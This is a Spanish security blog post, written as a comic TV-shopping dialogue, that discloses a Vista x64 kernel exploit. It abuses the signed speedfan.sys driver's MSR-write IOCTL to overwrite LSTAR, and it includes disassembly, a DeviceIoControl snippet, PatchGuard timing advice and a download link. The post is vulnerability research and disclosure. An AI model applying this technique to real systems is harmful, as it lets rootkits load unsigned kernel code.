Random IRC quote :      <garbanzosf> eh, que aqui el unico que tiene evidencias de que le pinta el boli soy yo

BacalaoalpilPill

noBueno, después de la bluepill,la redpill y la purplepill llega la bacalaoalpilPill. Esta noche tenemos a John Wuaichachi and Maik forever para presentárnosla.

JW: ¡ Fantástico Maik !, nos encontramos otra noche aquí para presentar a nuestra distinguida audiencia un producto que revolucionará lo que tenga que revolucionar si es que revoluciona algo.

MF: ¿Y de qué se trata John?

JW: ¡Me alegra que me hagas esta pregunta Maik!,¡DEPUTAMADRE MAIK! tenemos en nuestras manos la bacalaoalpilPill, un exploit que usa un driver que está firmado, y por lo tanto puede ser cargado en Vista x64, como pasarela para ejecutar código no firmado en el contexto del Kernel.

MF: ¡Estoy aluciflipando John! ¿Y como se ha conseguido?

JW: Fabuloso Maik, estaba esperando que me dieras esa entrada para explicarles a nuestros telespectadores el funcionamiento de la bacalaoalpilPill. Tras 4 duros años montando trenes en la república de Moldavia en pleno invierno, se pudo encontrar esta porción de código dentro de un driver llamado speedfan.sys que pertenece a un programa freeware del mismo nombre (www.almico.com).

                cmp     dword ptr [rdx+8], 8 ; Ouputbuffer size
                 jb      short loc_11171
                 cmp     dword ptr [rdx+10h],0Ch ;InputBuffer size
                 jb      short loc_11171
                 mov     r8d, [rsi+4]    ; inputBuffer[1]
                 mov     r9d, [rsi+8]    ; InputBuffer[2]
                 mov     rax, r8
                 shl     rax, 20h
                 or      rax, r9
                 mov     rdx, rax
                 shr     rdx, 20h
                 mov     ecx, [rsi]      ; inputBuffer[0]
                 wrmsr                     ; Chungo
 

Como puedes ver Maik, este código pertenece a un handler de un IOCTL que implementa el driver. Ya que este software es usado para controlar ciertas características de la temperatura del hardware, usa un par de IOCTLs para leer y escribir MSR arbitrarios, algunos de estos MSRs sirven para controlar características termales del hardware. El problema está en que también podríamos sobreescribir otros MSR que son usados por el sistema operativo en operaciones cruciales, tales como definir la direccion a la que apuntará syscall (64-bit), que se guarda en el MSR LSTAR (dirección 0xc00000082 relativa al MSR). Vamos a ver cómo se inicializa en el Kernel de Vista

PAGELK:00000001402092C3                 lea     rax, KiSystemCall32
PAGELK:00000001402092CA                 mov     ecx, 0C0000083h
PAGELK:00000001402092CF                 mov     rdx, rax
PAGELK:00000001402092D2                 shr     rdx, 20h
PAGELK:00000001402092D6                 wrmsr
PAGELK:00000001402092D8                 lea     rax, KiSystemCall64
PAGELK:00000001402092DF                 mov     ecx, 0C0000082h
PAGELK:00000001402092E4                 mov     rdx, rax
PAGELK:00000001402092E7                 shr     rdx, 20h
PAGELK:00000001402092EB                 wrmsr
 

De esta manera, si establecemos nuestra propio handler para KiSystemCall64 sobreescribiendo el MSR LSTAR podremos ejecutar código en Ring0.

MF: ¡ Vaya John, esto es interesante ! ¿esta técnica es nueva?

JW: Para nada Maik, el MSR hooking lleva ya mucho tiempo siendo implementado en rootkits, como «método» de exploit fue presentado por Joanna Rutwoska en el BlackHat de este año, usando para ello una vulnerabilidad en un driver de NVIDIA. Por lo que yo se, a parte de esa vulnerabilidad , no hay mas casos documentados de otro driver con el mismo tipo de fallo salvo este del que estamos hablando hoy Maik.

MF: ¡ jopelines ! ¿ y como nos aseguramos que la thread que está ejecutando el exploit no es preemted por otra y nos arruina el negocio ?

JW: Tu eres mu tonto Maik, ¿quien dice a estas alturas «jopelines»?. En cualquier caso, para ello tenemos que elevar la prioridad de la thread hasta realtime con el fin de mantenernos todo el tiempo posible y evitar que en el intervalo entre que sobreescribimos el MSR y ejecutamos nuestra shellcode para volverlo a restaurar, ninguna otra thread es ejecutada. No tiene mucho misterio Maik!

        SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);
        SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
       
        DeviceIoControl(hSdevice,
                              IOCTL_WRMSR,
                              (LPVOID)lpinBuff,0xC,
                              (LPVOID)lpoutBuff,0x8,
                              &junk,
                              NULL);
       
        _NtClose(hSdevice);  // forzamos que se llame a KiSystemCall64
 

MF: ¿Y que hay del PatchGuard, no lo detectará?
JW: ¡No hay problema Maik! PatchGuard es cierto que entre las estructuras que verifica, una de ellas es si se ha modificado el MSR LSTAR, pero esto ocurre a intervalos de entre 5/10 minutos, por lo que nosotros sólo necesitamos unos pocos milisegundos para explotar el fallo y dejarlo todo como estaba.

MF: ¿Y ahora qué pasa, ya se pueden cargar drivers no firmados en Vista?
JW: Pues sí, hasta que Microsoft revoque el certificado con el que fue firmado el driver, este seguirá siendo válido.

MF:¿ Y donde puedo conseguir el exploit John?
JW: Pues te lo puedes descargar en forma de plugin para el Kartoffel en http://kartoffel.reversemode.com/downloads.php . Pero no queda ahí la cosa Maik,a los 20 primeros que se lo descarguen les enviaremos TOTALMENTE GRATIS el fantástico ¡¡CUCHIDOR!!

MF:¡ No me lo puedo creer John! ¿estás hablando del auténtico y genuino CUCHIDOR?
JW: Por supuesto Maik, ¿no crees que muchas veces necesitariamos tres manos?, una para el cuchillo, otra para la cuchara y otra para el tenedor?

MF: John, es muy cierto, yo siempre me lio con los cubiertos ! No se para que sirve cada cual ! ¡ Vaya lío ! ¿No hay algo que sea más sencillo?

JW: Claro Maik, por fin podrás comer sopa sin hacer aquaplanin en la moqueta, porque ahora si eres uno de los 20 primeros, tendras acceso al CUCHIDOR que es , presta atención Maik,:
+ Un cuchillo
+ Una cuchara
+ Un tenedor
Todo en el mismo cubierto!!! ¡¡NO PUEDES DEJAR PASAR ESTA OPORTUNIDAD DE OBTENER EL CUCHIDOR!!

MF: ¡Guau John! Creo que mi vida no será la misma desde ahora
JW: Te puedo asegurar que no Maik. Hazte un porro no me seas husmias.

3 Comentarios para “BacalaoalpilPill”

  1. Comment por Amian | 10/02/07 at 9:56 am

    Muy bueno man!, que puedo hacer para chingar este canal de teletienda?. Podriáis poner la receta del BacalaoAlPil Pill, para que me lo prepare mi lupita?

  2. Comment por Mario Ballano | 10/02/07 at 10:18 am

    Yo quiero conocer a John Waychachi y a Maik Forever!!, muy bueno Ru, la verdad es que visto lo visto parece que en el futuro este va a ser el camino que tengan que usar los rootkits para escalar a g0dmode, con lo cual se vuelve bastante crítico una vulnerabilidad en cualquier programa que lleve drivers firmados y sea bastante usada. En fín, tiempo al tiempo 🙂

    PS: La próxima quedaría bien llamarla la Congrio Pill !! 😉

  3. Comment por Trhoid | 04/06/09 at 6:41 am

    genial… simplemente genial…

Se han cerrado los comentarios